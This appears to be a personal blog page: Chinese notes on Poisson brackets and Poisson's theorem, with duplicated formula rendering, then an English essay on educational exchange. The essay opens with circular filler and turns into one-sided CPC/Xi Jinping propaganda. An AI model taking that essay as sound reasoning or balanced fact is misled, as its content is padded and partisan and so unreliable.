    $ [\varphi,\psi]\equiv\sum_{\alpha=1}^{s}[{\frac{\partial \varphi}{\partial q_\alpha}}\frac{\partial \psi}{\partial p_\alpha}-{\frac{\partial \varphi}{\partial p_\alpha}}\frac{\partial \psi}{\partial q_\alpha}] $ ,这也就是泊松括号。

    上面的式子也可以写为:

    dfdt=ft+[f,H]\frac{df}{dt}=\frac{\partial f}{\partial t}+[f,H] ,

    f f 是运动积分的充要条件为: ft+[f,H]=0 \frac{\partial f}{\partial t}+[f,H]=0

    泊松括号的性质:

    1)[c,ψ]=0 [c,\psi]=0 , c c 为常数

    2)[φ,ψ]=[ψ,φ] [\varphi,\psi]=-[\psi,\varphi]

    3)[cφ,ψ]=c[φ,ψ]=[φ,cψ] [c\varphi,\psi]=c[\varphi,\psi]=[\varphi,c\psi]

    4)$ [\varphi,\psi_1+\psi_2]=[\varphi,\psi_1]+[\varphi,\psi_2] $

    5)$ [\varphi,\psi_1\psi_2]=[\varphi,\psi_1]\psi_2+\psi_1[\varphi,\psi_2] $

    6)$ \frac{\partial}{\partial t}[\varphi,\psi]=[\frac{\partial\varphi}{\partial t},\psi]+[\varphi,\frac{\partial\psi}{\partial t}] $

    1. $ [q_\alpha,\psi]=\frac{\partial\psi}{\partial p_\alpha} , [p_\alpha,\psi]=-\frac{\partial\psi}{\partial q_\alpha} $

    利用泊松括号可以将正则方程写为:

    q˙α=[qα,H] \dot q_\alpha=[q_\alpha,H]

    p˙α=[pα,H] \dot p_\alpha=[p_\alpha,H]

    1. [qα,qβ]=0=[pα,pβ] [q_\alpha,q_\beta]=0=[p_\alpha,p_\beta]

    [qα,pβ]=δαβ [q_\alpha,p_\beta]=\delta_{\alpha\beta} (基本泊松括号),δαβ \delta_{\alpha\beta} 是克罗内克尔符号

    9)$ [f,[\varphi,\psi]]+[\varphi,[\psi,f]]+[\psi,[f,\varphi]]=0 $ (雅可比恒等式)

    泊松定理:若力学量 f f g g 均是运动积分,则 [f,g] [f,g] 也是运动积分。

    证明:

    已知:$ \frac{df}{dt}=\frac{\partial f}{\partial t}+[f,H]=0 ; \frac{dg}{dt}=\frac{\partial g}{\partial t}+[g,H]=0 $

    [H,[f,g]]+[f,[g,H]]+[g,[H,f]]=0 [H,[f,g]]+[f,[g,H]]+[g,[H,f]]=0 ,结合上式,得:

    $ [H,[f,g]]+[f,-\frac{\partial g}{\partial t}]+[g,\frac{\partial f}{\partial t}]=0 $ ,经变换,得:

    $ [[f,g],H]+[f,\frac{\partial g}{\partial t}]+[\frac{\partial f}{\partial t},g]=0 $ ,继续变换,得:

    [[f,g],H]+t[f,g]=0 [[f,g],H]+\frac{\partial}{\partial t}[f,g]=0 ,最后可得:

    ddt[f,g]=0 \frac{d}{dt}[f,g]=0 ,也就是说 [f,g] 是运动积分。 Q.E.D Q.E.D

    essay

    Educational exchange

    I want to go on an educational exchange because I have thought about going on an educational exchange. What's more, if I think about going on an educational exchange, educational exchange will be thought by me. And then, educational exchange will be applied by me.

    I suppose that if I'm thinking about the question "going on an educational exchange", at least one question will definitely be thought by me. The educational exchange will be educational if I agree when thinking about the question "going on an educational exchange".I will be educated and exchanged during the educational exchange.

    In addition, the educational exchange is a kind of practise and that General Secretary Jinping Xi encourage young people to practise more--"measure the land of the motherland with their feet, discover the Chinese spirit with their eyes, listen to the voices of the people with their ears, sense the pulse of the times with their hearts, and integrate the emotions of the motherland's blood thicker than water, breathing and sharing a common destiny with the people throughout the entire academic process and in the pursuit of their careers."General Secretary Jinping Xi's important speech provides fundamental guidance for college students in the new era to take a "compulsory course" in social practice and strive to grow into a new generation worthy of the task of national rejuvenation.

    Measure the land of our motherland with our steps. "One step at a time, one cannot reach a thousand miles." The land of China, with its beautiful mountains and rivers, has bred more than 5000 years of extensive and profound Chinese civilization, witnessed the glorious years of the centennial struggle of the CPC, and is a good university without walls. Faced with the rapidly changing society and the continuous shortening of the knowledge update cycle, college students in the new era should not only read books well, but also take advantage of various opportunities to go out of school, enter society, go deep into grassroots, daily life, and the people. In the new era social classroom, they should recognize the great achievements and changes of the new era, understand the national conditions and public opinion, and then strengthen their ideals, refine their willpower, and grow their talents.

    Discover the Chinese spirit with your eyes. For thousands of years, one of the important reasons why the Chinese nation has been able to endure hardships and remain resilient is the formation of a timeless Chinese spirit that transcends time and space. The Chinese spirit runs through the more than 5000 years of civilization history of the Chinese nation and flourishes in the process of modern Chinese national rejuvenation. It is not only the result of generations of Chinese people's continuous struggle and joint creation, but also needs to be continuously passed down and carried forward by generations of young people. The Chinese spirit is discoverable and perceivable, which is the "root" and "soul" that enhances the spirit, backbone, and confidence of being a Chinese. Looking at contemporary China, from the frontline of epidemic prevention and control to the frontline of defending the country's borders, from rural revitalization to rescue and disaster relief sites, from sports venues to the forefront of technological innovation... the Chinese spirit can be seen everywhere. In the new era, college students can combine social practice opportunities such as social surveys, volunteer services, voluntary teaching, and theoretical lectures to observe China's development and discover the Chinese spirit with their eyes, and consciously become believers, disseminators, and practitioners of the Chinese spirit.

    Listen to the people's voices with your ears. The people are the creators of history, true heroes, and contain infinite wisdom and endless power. Only by working together with the people can youth shine. In the new era, college students should deeply cultivate the people's sentiments, stand firm in the people's position, actively penetrate into the people, learn from them, listen to their voices with their ears, and write a magnificent chapter of youth in the unremitting struggle for the interests of the people.

    Use your heart to sense the pulse of the times. Each generation has its own mission, and each generation has its own responsibility. In the new era, college students have a more favorable development environment and broader growth space. Their golden period of life is highly consistent with the historical process of achieving the "Two Centenary Goals". Only by walking in the same direction and resonating with the times can they achieve great success. In the new era, college students should use their hearts to sense the pulse of the times, and deeply comprehend the cause of the Party and the country in the new era from multiple dimensions such as communicating history and reality, integrating theory and practice, and linking domestic and international relations.

    As contemporary Marxism in China and Marxism in the 21st century, the Jinping Xi ideology of socialism with Chinese characteristics in the new era adheres to the organic unity of Marxism's scientific and practical nature. It deeply answers a series of major contemporary issues related to the development of the Party and the country, as well as the governance of the Party and the country, through the combination of theory and practice. It is a powerful ideological weapon that has been tested in practice and is full of practical power, and runs through a strong sense of questioning and Clear practical orientation.

    In the past decade, the Party Central Committee, with General Secretary Jinping Xi at its core, has led the entire Party and people of all ethnic groups to continuously achieve innovative breakthroughs in theory and practice, including original ideas, critical decisions, strategic measures, transformative practices, breakthrough progress, and landmark achievements in stabilizing the economy, promoting development, fighting poverty, building a moderately prosperous society, controlling the epidemic, resisting major disasters, adapting to the situation, and resolving crises.

    Since the 18th National Congress of the Communist Party of China, the CPC, with General Secretary Jinping Xi as the main representative, has united and led the whole party and the people of all ethnic groups in China to systematically answer the major issues of the times, such as what kind of socialism with Chinese characteristics to adhere to and develop in the new era, and how to adhere to and develop socialism with Chinese characteristics, from the combination of theory and practice, and created the thought of socialism with Chinese characteristics for the new era. In the report of the 20th National Congress of the Communist Party of China, General Secretary Jinping Xi pointed out: "To adhere to and develop Marxism, it is necessary to combine it with the specific reality of China. We adhere to Marxism as the guide and use its scientific worldview and methodology to solve China's problems, rather than memorizing and repeating its specific conclusions and phrases, let alone treating Marxism as an unchanging dogma."

    Adhering to and developing Marxism must be combined with the excellent traditional Chinese culture. Only by taking root in our own country and the fertile soil of our nation's historical and cultural heritage can the tree of Marxist truth take root and flourish These important discussions highlight the practical characteristics of the socialist ideology with Chinese characteristics in the new era. These important discussions highlight the practical characteristics of the socialist ideology with Chinese characteristics in the new era.

    History never ends, practice will continue. Our party's theory is derived from, for, and for the benefit of the people, and the creative practice of the people is an inexhaustible source of theoretical innovation. General Secretary Jinping Xi pointed out that "Marxism is not a knowledge in the study, but was founded to change the historical destiny of the people. It was formed in the practice of the people seeking liberation, and also enriched and developed in the practice of the people seeking liberation. It provides a strong spiritual force for the people to understand and transform the world." On the new journey, grand goals, inspiring people to make progress, grand journey, and core leadership. Let us work tirelessly and stride forward towards a brighter and better future for the construction of a strong country and the rejuvenation of the nation, with the spirit of never waiting for the moment and seizing every moment!

    In one word, it will be no longer than a long novel, which is much longer than one sentence.



    For you a thousand times over!

    为你,千千万万遍。

  • Recent Activities